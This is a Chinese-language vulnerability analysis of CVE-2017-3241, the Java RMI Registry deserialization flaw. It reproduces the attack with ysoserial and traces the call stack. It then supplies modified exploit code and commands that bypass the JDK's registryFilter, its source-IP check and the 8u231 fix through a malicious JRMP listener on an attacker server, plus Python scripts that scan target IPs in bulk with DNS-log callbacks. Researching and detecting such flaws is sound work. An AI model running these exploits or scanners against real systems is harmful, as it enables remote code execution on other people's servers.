CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞

CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞

如有错误,敬请斧正!

漏洞简介

简要说明

CVE-2017-3241Java RMI Registry.bind() Unvalidated Deserialization

影响版本

  • JDK版本限制 Java SE <= 6u131, <= 7u121, <= 8u112, Java SE Embedded <= 8u111, JRockit <= R28.3.12
  • 上面这一条是漏洞刚爆出时的版本说明。由于漏洞修复方案不停地被绕过,直到8u241之前的所有版本,仍然可利用这个RMI Registry相关的漏洞。
  • 注意:本文所有JDK版本均为Oracle JDK版本,非OpenJDK版本。

漏洞利用条件

  • JDK <=8u112,可直接利用;8u112 < JDK < 8u241 利用方式需要反链恶意JRMP服务端,所以需要目标服务器能访问攻击者控制的服务器。
  • 目标服务器引用了gadget所需要的第三方jar包
  • 对于加载远程类(使用JNDI reference,结合RMI,LDAP实现;或者利用RMI的codebase特性)的问题尚未明确。留待后续文章中说明。

基础知识

RMI基本使用举例

image.png

package baseUsage.service;

import java.rmi.Remote;
import java.rmi.RemoteException;

//: ICombine是客户端和服务端共用的接口(客户端本地必须有远程对象的接口,不然无法指定要调用的方法,而且其全限定名必须与服务器上的对象完全相同)
public interface ICombine extends Remote {

    public String combine(String str1,String str2) throws RemoteException;
}
package baseUsage.service;

import java.rmi.RemoteException;

public class Combiner implements ICombine {
    @Override
    public String combine(String str1,String str2) throws RemoteException {
        String result = str1+"&"+str2;
        System.out.println("combine result: "+result);
        return result;
    }
}
package baseUsage.server;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

import baseUsage.service.Combiner;
import baseUsage.service.ICombine;

public class Server {
    public static void main(String[] args) throws Exception{
        Server1();
    }

    //Server1:单纯的使用RMI,没有使用JNDI
    public static void Server1() throws Exception {
        String name= "combiner";
        ICombine combiner=new Combiner();
        //这里指定的端口是远程对象所使用的端口,可以和RMI Registry使用相同的端口!!!
        //但是我们为了说明远程对象需要使用单独的接口,使用1100
        UnicastRemoteObject.exportObject(combiner,1100);

        // 创建本机 1099 端口上的RMI registry(RMI注册表,就像windows的注册表一样,可以把它看作是一个可供查询的数据库)
        // Registry好比号码百事通、它可以帮你查询真正提供服务的对象,但是真正提供具体服务的却不是它
        Registry registry=LocateRegistry.createRegistry(1099);
        // 对象绑定到注册表中,让客户端可以有机会查询到它
        registry.rebind(name, combiner);

        //bind(String name,Object obj):如果该名字已经存在,就会抛出NameAlreadyBoundException
        //rebind(String name,Object obj):不会抛出NameAlreadyBoundException,而是把当前参数obj指定的对象覆盖原先的对象。
    }
}

image.png

package baseUsage.client;

import baseUsage.service.ICombine;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class Client {
    public static void main(String[] args) throws Exception{
        client1();
        client2();
        jndiRMIClient();
    }
    //这是rmilookup
    public static void client1() throws Exception {
        // 获取远程主机上的注册表
        Registry registry=LocateRegistry.getRegistry("localhost",1099);
        String name="combiner";
        // 尝试根据名称,在远程“注册表数据库”中查找对象
        ICombine combiner=(ICombine)registry.lookup(name);

        String result = combiner.combine("aaaa","bbbb");
        System.out.println("client1: "+result);
    }

    public static void client2() throws Exception{
        ICombine combiner=(ICombine)Naming.lookup("rmi://127.0.0.1:1099/combiner");
        String result = combiner.combine("aaaa","bbbb");
        System.out.println("client2: "+result);
    }

    //这是jndilookup,和rmilookup还是不一样的
    public static void jndiRMIClient() throws Exception {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context ctx = new InitialContext(env);

        //通过名称查找对象
        ICombine combiner=(ICombine) ctx.lookup("combiner");
        String result = combiner.combine("aaaa","bbbb");
        System.out.println("jndiRMIClient: "+result);
    }
}

image.png

RMI调用流程梳理

现在梳理一下大致的流程,首先是服务端的流程,对应上面baseUsage.server.Server#Server1中的代码:

  1. 服务端先创建对象,这个对象是可以提供远程方法调用的。
  2. 可以主动将对象暴露在某个指定的端口。神奇的是端口可以和注册表服务(Registry)的端口一样!
  3. 创建注册表服务。
  4. 将对象绑定到注册表服务中,以供客户端通过名称来查询。

接着是客户端的流程,对应baseUsage.client.Client#client1中的代码:

  1. 先连接注册表服务。
  2. 查询是否存在指定名称的远程对象。
  3. 如果存在,则连接提供服务的接口,调用远程对象的方法。

远程方法调用的大致过程:

  1. 客户端本地创建一个对象,将要执行的函数、参数通过这个对象传递给服务端。
  2. 服务端接收到传递过来的数据流,需要先对它进行反序列化操作,还原成对象。
  3. 通过还原后的对象,服务端获取到要需要执行的函数和参数信息,在服务端通过反射方法进行方法的调用,获取调用的结果。
  4. 将调用的结果存入一个对象,序列化后返回给客户端。
  5. 客户端再执行类似的过程,反序列化,然后获取到结果。

漏洞复现

前面讲了《远程方法调用的大致过程》,而这个漏洞的问题就出在 服务端处理“用户需求”的过程中。 服务端在收到客户端发送过来的数据时,需要首先将其反序列化,才能从恢复的对象中获取到需要的参数以便进行后续操作。在反序列化过程中,漏洞就触发了。* *

漏洞PoC

直接使用上一个步骤中baseUsage.server.Server的代码进行本地环境复现,使用ysoserial中的利用工具,命令如下,成功复现。

"C:\Program Files\Java\jdk-14.0.1\bin\java.exe" -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc.exe"

注意点:
1、执行如上命令的java版本最好和运行RMI服务的Java版本一致,这个case中使用的都是JDK1.7.0
2、如下截图是本地测试的截图,RMI Server和执行攻击的Payload都是在同一个主机上运行的,不符合实际攻击场景,只是为了方便截图。
3、同样的JDK环境,远程环境也可以成功触发。

image.png

远程服务器成功利用案例:

D:\ser>java -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 10.203.20.57 1099 CommonsCollections1 "wget rmiyso.bit.0y0.link"

本地的Java环境:
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)

目标服务器的Java环境:
java version "1.8.0_25"
Java(TM) SE Runtime Environment (build 1.8.0_25-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.25-b02, mixed mode)

image.png

定位漏洞代码

还是一样的套路,在java.lang.Runtime#exec(java.lang.String)处下断点,并以debug启动baseUsage.server.Server。然后运行

D:\github>"C:\Program Files\Java\jdk1.7.0\bin\java.exe" -cp D:\ser\ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 100.119.197.111 1099 CommonsCollections1 "calc.exe"

获取到如下调用链:

exec(String):345, Runtime (java.lang)
invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):601, Method (java.lang.reflect)
transform(Object):125, InvokerTransformer (org.apache.commons.collections.functors)
transform(Object):122, ChainedTransformer (org.apache.commons.collections.functors)
get(Object):151, LazyMap (org.apache.commons.collections.map)
invoke(Object, Method, Object[]):68, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet():-1, $Proxy2
readObject(ObjectInputStream):345, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):601, Method (java.lang.reflect)
invokeReadObject(Object, ObjectInputStream):991, ObjectStreamClass (java.io)
readSerialData(Object, ObjectStreamClass):1866, ObjectInputStream (java.io)
readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)
readObject0(boolean):1347, ObjectInputStream (java.io)
readObject():369, ObjectInputStream (java.io)
readObject(ObjectInputStream):1043, HashMap (java.util)
invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):601, Method (java.lang.reflect)
invokeReadObject(Object, ObjectInputStream):991, ObjectStreamClass (java.io)
readSerialData(Object, ObjectStreamClass):1866, ObjectInputStream (java.io)
readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)
readObject0(boolean):1347, ObjectInputStream (java.io)
defaultReadFields(Object, ObjectStreamClass):1964, ObjectInputStream (java.io)
defaultReadObject():498, ObjectInputStream (java.io)
readObject(ObjectInputStream):330, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(Object, Object[]):601, Method (java.lang.reflect)
invokeReadObject(Object, ObjectInputStream):991, ObjectStreamClass (java.io)
readSerialData(Object, ObjectStreamClass):1866, ObjectInputStream (java.io)
readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)
readObject0(boolean):1347, ObjectInputStream (java.io)
defaultReadFields(Object, ObjectStreamClass):1964, ObjectInputStream (java.io)
readSerialData(Object, ObjectStreamClass):1888, ObjectInputStream (java.io)
readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)
readObject0(boolean):1347, ObjectInputStream (java.io)
readObject():369, ObjectInputStream (java.io)
//后续流程已经是反序列化的逻辑了。


dispatch(Remote, RemoteCall, int, long):-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch(Remote, RemoteCall, int):403, UnicastServerRef (sun.rmi.server)
dispatch(Remote, RemoteCall):267, UnicastServerRef (sun.rmi.server)
run():177, Transport$1 (sun.rmi.transport)
run():174, Transport$1 (sun.rmi.transport)
doPrivileged(PrivilegedExceptionAction, AccessControlContext):-1, AccessController (java.security)
serviceCall(RemoteCall):173, Transport (sun.rmi.transport)
handleMessages(Connection, boolean):553, TCPTransport (sun.rmi.transport.tcp)
run0():808, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run():667, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker(ThreadPoolExecutor$Worker):1110, ThreadPoolExecutor (java.util.concurrent)
run():603, ThreadPoolExecutor$Worker (java.util.concurrent)
run():722, Thread (java.lang)

RemoteCall对象是用于stub/skeleton进行数据交换的对象,sun.rmi.registry.RegistryImpl_Skel#dispatch中的第二参数就是 StreamRemoteCall类型(RemoteCall的实现类)

image.png

不知道为何不能成功下断点,但是基本还是可以看出漏洞的入口。

image.png

由于src.zip中不包含sun目录下的源码,我们无法直接阅读sun.rmi.registry这部分关键代码,只能看Idea反编译后的代码或者找OpenJDK

对应部分的源码(不能保证它们代码的一致性)。

image.png

查找OpenJDK对应代码

访问 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/tags,尝试通过tags来缩小查找范围,但并未在这些

image.png

通过搜索RegistryImpl_Stub ,找到jdk8u141-b10,发现OpenJDK中,在这个版本中才新建了个RegistryImpl_Stub 文件。可见OpenJDK的Tag和OracleJDK的版本并不对应。很多文章中描述漏洞所写的JDK版本都是OpenJDK版本,而非Oracle JDK的版本,所以阅读的时候得注意区分了。

批量检测

检测脚本

为了更好地检测出问题,我们使用URLDNS这个gadget进行初筛,因为它不受JDK版本限制,也不需要额外的Gadget依赖包。然后再使用其他Gadget进行利用尝试。

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4woo'
__github__ = 'https://github.com/bit4woo'
import subprocess

'''
Java RMI Registry.bind() 反序列化代码执行漏洞
注意:URLDNS这个gadget也只能检测8u121以下的版本。更完善的脚本见后续章节
'''

def poc(ip, port="1099"):
    try:
        ys_filepath = r'D:\ser\ysoserial-0.0.5.jar'
      # D:\ser>java -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 10.203.20.57 1099 CommonsCollections1 "wget rmiyso.bit.0y0.link"
        popen = subprocess.Popen(["java", '-cp', ys_filepath, "ysoserial.exploit.RMIRegistryExploit",ip,port,"URLDNS", "http://rmi.{0}.bit.0y0.link".format(ip)],
                                 stdout=subprocess.PIPE)
        output = popen.stdout.read()
        print(output)
    except Exception as e:
        print(e)

if __name__ == "__main__":
  print(poc("10.203.20.57"))

检测中的异常

java.rmi.ConnectIOException: non-JRMP server at remote endpoint

JRMP是Java RMI使用的协议,non-JRMP server 这个错误很简单,就是目标端口根本就不是RMI的相关端口。

image.png

java.lang.ClassNotFoundException

核心错误信息类似: java.lang.ClassNotFoundException: org.apache.commons.collections.map.LazyMap (no security manager: RMI class loader disabled) ,根据这个错误信息也很容易识别出问题,即“服务端缺少gadget所对应的依赖包”。

遇到这种情况有2个思路:

1、挨个尝试所有gadget。一般URLDNS这个gadget是会成功的,能表明漏洞存在,但是能不能利用还得看是否有其他可执行命令的gadget的依赖包存在。

2、考虑远程加载类。使用JNDI reference,结合RMI,LDAP实现;或者利用RMI的codebase特性。笔者水平有限,这部分内容还没有弄明白,留待学习后,在后续文章中说明。

image.png

class invalid for deserialization

服务端的gadget依赖包版不符合要求,一般是版本过高。也只能通过尝试其他gadget进行尝试。

image.png

When Java security is enabled, support for deserializing TemplatesImpl is disabled

image.png

通过查看实际环境发现,大多报这种错误的服务端都是jstatd起的服务,很明显它也缺少gadget依赖包。对于是否有继续利用的可能,和ClassNotFoundException中一样,需要弄明白加载远程类的可能才能确定。

image.png

java.io.InvalidClassException: filter status: REJECTED

错误信息截图如下,即使是URLDNS这个最常用于检测的gadget也是会被拦截的。所以我们最开始的检测脚本也不是万能的。

image.png

对应的服务端信息

image.png

这个错误的原因是:从JDK8u121开始(包括JDK8u121),加入了 sun.rmi.registry.RegistryImpl#registryFilter 的限制。相关源码可以参考OpenJDK中的代码,这部分代码和Oracle JDK应该是一致的。http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388 见下图

image.png

image.png

遇到这个错误还有可能利用吗?答案是有的。绕过registryFilter进行攻击的细节请见后续章节《修复和绕过》。

java.rmi.AccessException: Registry.Registry.bind disallowed

复现问题的2个测试环境JDK版本:
java version "1.8.0_144"
Java(TM) SE Runtime Environment (build 1.8.0_144-b01)
Java HotSpot(TM) 64-Bit Server VM (build 25.144-b01, mixed mode)

java version "1.8.0_181"
Java(TM) SE Runtime Environment (build 1.8.0_181-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)

 错误信息
java.rmi.AccessException: Registry.Registry.bind disallowed; origin /100.119.197.111 is non-local host

image.png

该异常是由于 JDK >= 8u141时,sun.rmi.registry.RegistryImpl#checkAccess 会进行来源IP地址的检查,如果请求的IP地址不是本机的IP地址,则拒绝执行bind操作。

image.png

遇到这种情况仍然有利用的希望,因为在8u141中的检测只针对了三种操作:bind\rebind\unbind,而没有对lookup进行限制。使用lookup方法进行攻击的细节请见后续章节《修复和绕过》。

修复和绕过

整理的修复和绕过版本对应如图

image.png

绕过filterCheck(java.io.InvalidClassException: filter status: REJECTED的解决方案)

绕过白名单过滤的利用方式,我们先要大致了解一下ysoserial中的几个关键类。

payloads 名称,攻击载荷,是静态数据包。payloads包下的类主要用于生成payload
exploit 动词,攻击利用,是主动的动作。exploit包下的类主要用于发起攻击。

ysoserial.payloads.JRMPClient   使用这个类生成的payload进行攻击,被攻击的服务器会开启新的JRMP客户端。
ysoserial.payloads.JRMPListener  使用这个类生成的Payload进行攻击,被攻击的服务端会开启新的JRMP监听。通常和ysoserial.exploit.JRMPClient配合使用。
再使用ysoserial.exploit.JRMPClient来攻击刚刚漏洞服务器启动的JRMP服务。

ysoserial.exploit.JRMPClassLoadingListener
ysoserial.exploit.JRMPClient
ysoserial.exploit.JRMPListener 本地开启一个RMI监听,但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。

在我们的这个情形下,需要 ysoserial.exploit.JRMPListener 和 ysoserial.payloads.JRMPClient的配合使用。在使用前,需要先改造一下ysoserial:

1、复制ysoserial.exploit.RMIRegistryExploit并重命名为ysoserial.exploit.RMIRegistryExploitBypassFilter1。

2、将其ysoserial.exploit.RMIRegistryExploitBypassFilter1#exploit函数中的Remote对象生成方法进行替换。

如下图:

image.png

接下来重新打包ysoserial(mvn clean package -DskipTests)并按如下步骤进行。

1、在自己的VPS服务器上启用JRMP监听,如前面所说:但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。

java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "calc.exe"

2、使用改造过的RMIRegistryExploitBypassFilter1向漏洞服务器发起请求

java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitBypassFilter1 127.0.0.1 1099 JRMPClient sz.myvps.com:1099  

注意:这里使用的是CommonsCollections2这个gadget进行测试的,其他gadget还需再测试(因为我测试CommonsCollections1失败了~)。

关于这部分的利用可以参考bsmali4的文章《一次攻击内网rmi服务的深思》,其中包含了探索过程和另外2个绕过Payload

image.png

漏洞触发的调用栈。

executeCall():208, StreamRemoteCall (sun.rmi.transport)
invoke(RemoteCall):379, UnicastRef (sun.rmi.server)
dirty(ObjID[], long, Lease):-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall(Set, long):378, DGCClient$EndpointEntry (sun.rmi.transport)
access$1600(DGCClient$EndpointEntry, Set, long):188, DGCClient$EndpointEntry (sun.rmi.transport)
run():596, DGCClient$EndpointEntry$RenewCleanThread$1 (sun.rmi.transport)
run():593, DGCClient$EndpointEntry$RenewCleanThread$1 (sun.rmi.transport)
doPrivileged(PrivilegedAction, AccessControlContext):-1, AccessController (java.security)
run():593, DGCClient$EndpointEntry$RenewCleanThread (sun.rmi.transport)
run():745, Thread (java.lang)

绕过checkAccess(java.rmi.AccessException: Registry.Registry.bind disallowed 的解决方案)

改造lookup方法:

1、复制ysoserial.exploit.RMIRegistryExploit并重命名为ysoserial.exploit.RMIRegistryExploitLookup。

2、在ysoserial.exploit.RMIRegistryExploitLookup这个类中创建一个新的lookup函数,代码如下:

//参考sun.rmi.registry.RegistryImpl_Stub.lookup方法进行修改。主要是将writeObject的参数类型改为Object
    public static void lookup(Registry registry,Object var1) throws AccessException, NotBoundException, RemoteException {
        try {

            Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

            RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");
            StreamRemoteCall var2 = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject)registry, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var15) {
                throw new MarshalException("error marshalling arguments", var15);
            }
            ref.invoke(var2);//这个语句不能少,否则不会触发。
        } catch (RuntimeException var16) {
            throw var16;
        } catch (RemoteException var17) {
            throw var17;
        } catch (NotBoundException var18) {
            throw var18;
        } catch (Exception var19) {
            throw new UnexpectedException("undeclared checked exception", var19);
        }
    }

3、然后修改ysoserial.exploit.RMIRegistryExploitLookup#exploit中的bind为lookup方法。

image.png

由于JDK在添加远程IP限制前,就已经添加了白名单限制,而我们上面改造的payload只是做了操作方法的改造(lookup),没有考虑绕过白名单,所以我们要选择一个低于8u121版本的JDK进行测试,先保证lookup方式能正常工作后再将二者融合。

这里再插入一个小问题:是否可以通过bind的name参数进行攻击?

image.png

答案是可以的,使用类似的方法,改造bind方法,交换参数的写入顺序,然后运行,也能成功触发。测试代码可见https://github.com/bit4woo/ysoserial/blob/bit4woo/src/main/java/ysoserial/exploit/RMIRegistryExploitAlertBind.java

小于JDK8u231版本的通用Payload

将以上2部分的改造相结合。然后再按照如下步骤就复现。

1、在自己的VPS服务器上启用JRMP监听,如前面所说:但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。

java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "calc.exe"

2、使用改造过的RMIRegistryExploitBypassFilterAndLookup向漏洞服务器发起请求

java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitBypassFilterAndLookup 192.168.1.100 1099 JRMPClient sz.myvps.com:1099

image.png

image.png

JDK8u231版本的修复

8u231版本的修复思路是:1、避免反向链接。2、垃圾回收的处理逻辑添加来源数据的过滤。

image.png

image.png

JDK8u231的绕过

参考https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/中的说明,再次对ysoserial进行改造。

完整源码可见 https://github.com/bit4woo/ysoserial/blob/bit4woo/src/main/java/ysoserial/exploit/RMIRegistryExploitJdk8u231.java

/*经过改造的lookup函数
    将enableReplace属性改为了false
    */
    public static void lookup(Registry registry,Remote var1) throws AccessException, AlreadyBoundException, RemoteException {
        try {
            Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

            RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");
            StreamRemoteCall var3 = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject)registry, operations, 2, 4905912898345647071L);
            ObjectOutput var4;
            try {
                var4 = var3.getOutputStream();
                Reflections.setFieldValue(var4,"enableReplace",false);
                var4.writeObject(var1);
            } catch (IOException var5) {
                throw new MarshalException("error marshalling arguments", var5);
            }

            ref.invoke(var3);
            ref.done(var3);
        } catch (RuntimeException var6) {
            throw var6;
        } catch (RemoteException var7) {
            throw var7;
        } catch (AlreadyBoundException var8) {
            throw var8;
        } catch (Exception var9) {
            throw new UnexpectedException("undeclared checked exception", var9);
        }
    }
1、在自己的VPS服务器上启用JRMP监听,如前面所说:但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。

java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "calc.exe"

2、使用改造过的RMIRegistryExploitJdk8u231向漏洞服务器发起请求,针对8u231版本的JDK的利用,必须和JRMPClient2一起使用!!!

java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitJdk8u231 192.168.1.100 1099 JRMPClient2 sz.myvps.com:1099

image.png

image.png

更完善的检测脚本

至此可以更新一版检测脚本了,使用RMIRegistryExploitJdk8u231和JRMPClient2,能检测到URLDNS检测不到的高版本(8u121---8u231),避免部分漏报了。

但值得注意的是,这个PoC能检测出的目标,不一定都能利用,尤其是缺少gadget对应的依赖包的情况下。

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4woo'
__github__ = 'https://github.com/bit4woo'
import subprocess

'''
Java RMI Registry.bind() 反序列化代码执行漏洞
'''

fpw = open("rmi-errors-20200907.txt","w")

# 注意:URLDNS这个gadget也只能检测8u121以下的版本
def poc_URLDNS(ip, port="1099"):
    try:
        ys_filepath = r'D:\ser\ysoserial-0.0.6-bit4woo-all.jar'
        dnslog = dnslogapi.DNSlog(ip+".urldns")
        domain = dnslog.getPayload()
        # D:\ser>java -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 10.203.20.57 1099 CommonsCollections1 "wget rmiyso.bit.0y0.link"
        popen = subprocess.Popen(["java", '-cp', ys_filepath, "ysoserial.exploit.RMIRegistryExploit",ip,port,"URLDNS", "http://"+domain],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        fpw.writelines("=================" + ip + "================\r\n")
        error = popen.stderr.read()
        # print (error)
        fpw.writelines(bytes.decode(error))
        fpw.writelines("\r\n")
        fpw.flush()
        return dnslog.query()
    except Exception as e:
        print(e)
        return False

# 相比URLDNS这个gadget,能检测到URLDNS检测不到的高版本(8u121---8u221)
def poc_JRMPClient(ip, port="1099"):
    try:
        ys_filepath = r'D:\ser\ysoserial-0.0.6-bit4woo-all.jar'
        dnslog = dnslogapi.DNSlog(ip+".JRMPClient")
        domain = dnslog.getPayload()
        # 这个payload如果能收到dnslog,说明JDK版本小于8u231,存在利用可能的。但是到底能不能利用,还是需要进一步的验证。
        # java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitBypassFilterAndLookup 192.168.1.100 1099 JRMPClient sz.myvps.com:1099
        popen = subprocess.Popen(["java", '-cp', ys_filepath, "ysoserial.exploit.RMIRegistryExploitJdk8u231",ip,port,"JRMPClient2", domain],stdout=subprocess.PIPE,stderr=subprocess.PIPE)

        fpw.writelines("================="+ip+"================\r\n")
        error = popen.stderr.read()
        # print (error)
        fpw.writelines(bytes.decode(error))
        fpw.writelines("\r\n")
        fpw.flush()
        return dnslog.query()
    except Exception as e:
        print(e)
        return False

def poc(ip, port="1099"):
    return poc_JRMPClient(ip,port)

if __name__ == "__main__":
  print(poc("10.203.20.57"))

image.png

参考链接

* *

RMI基础原理

https://blog.csdn.net/sinat_34596644/article/details/52599688

https://blog.csdn.net/guyuealian/article/details/51992182

https://segmentfault.com/a/1190000004494341* *

漏洞发现者的文章

https://www.nccgroup.com/uk/our-research/java-rmi-registrybind-unvalidated-deserialization/

https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/cve-2017-3241-java-rmi-registry.bind-unvalidated-deserialization.pdf

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析:

https://mp.weixin.qq.com/s/DIgEe2HpwzHcvNM71cKxvg

https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/

java.io.InvalidClassException: filter status: REJECTED异常相关

一次攻击内网rmi服务的深思

http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/

漏洞修复绕过相关

https://www.anquanke.com/post/id/197829

酒仙桥六号部队:RMI 利用分析

https://www.secpulse.com/archives/136790.html

https://mp.weixin.qq.com/s/5xHPCklm3IyBn7vc5_OiUA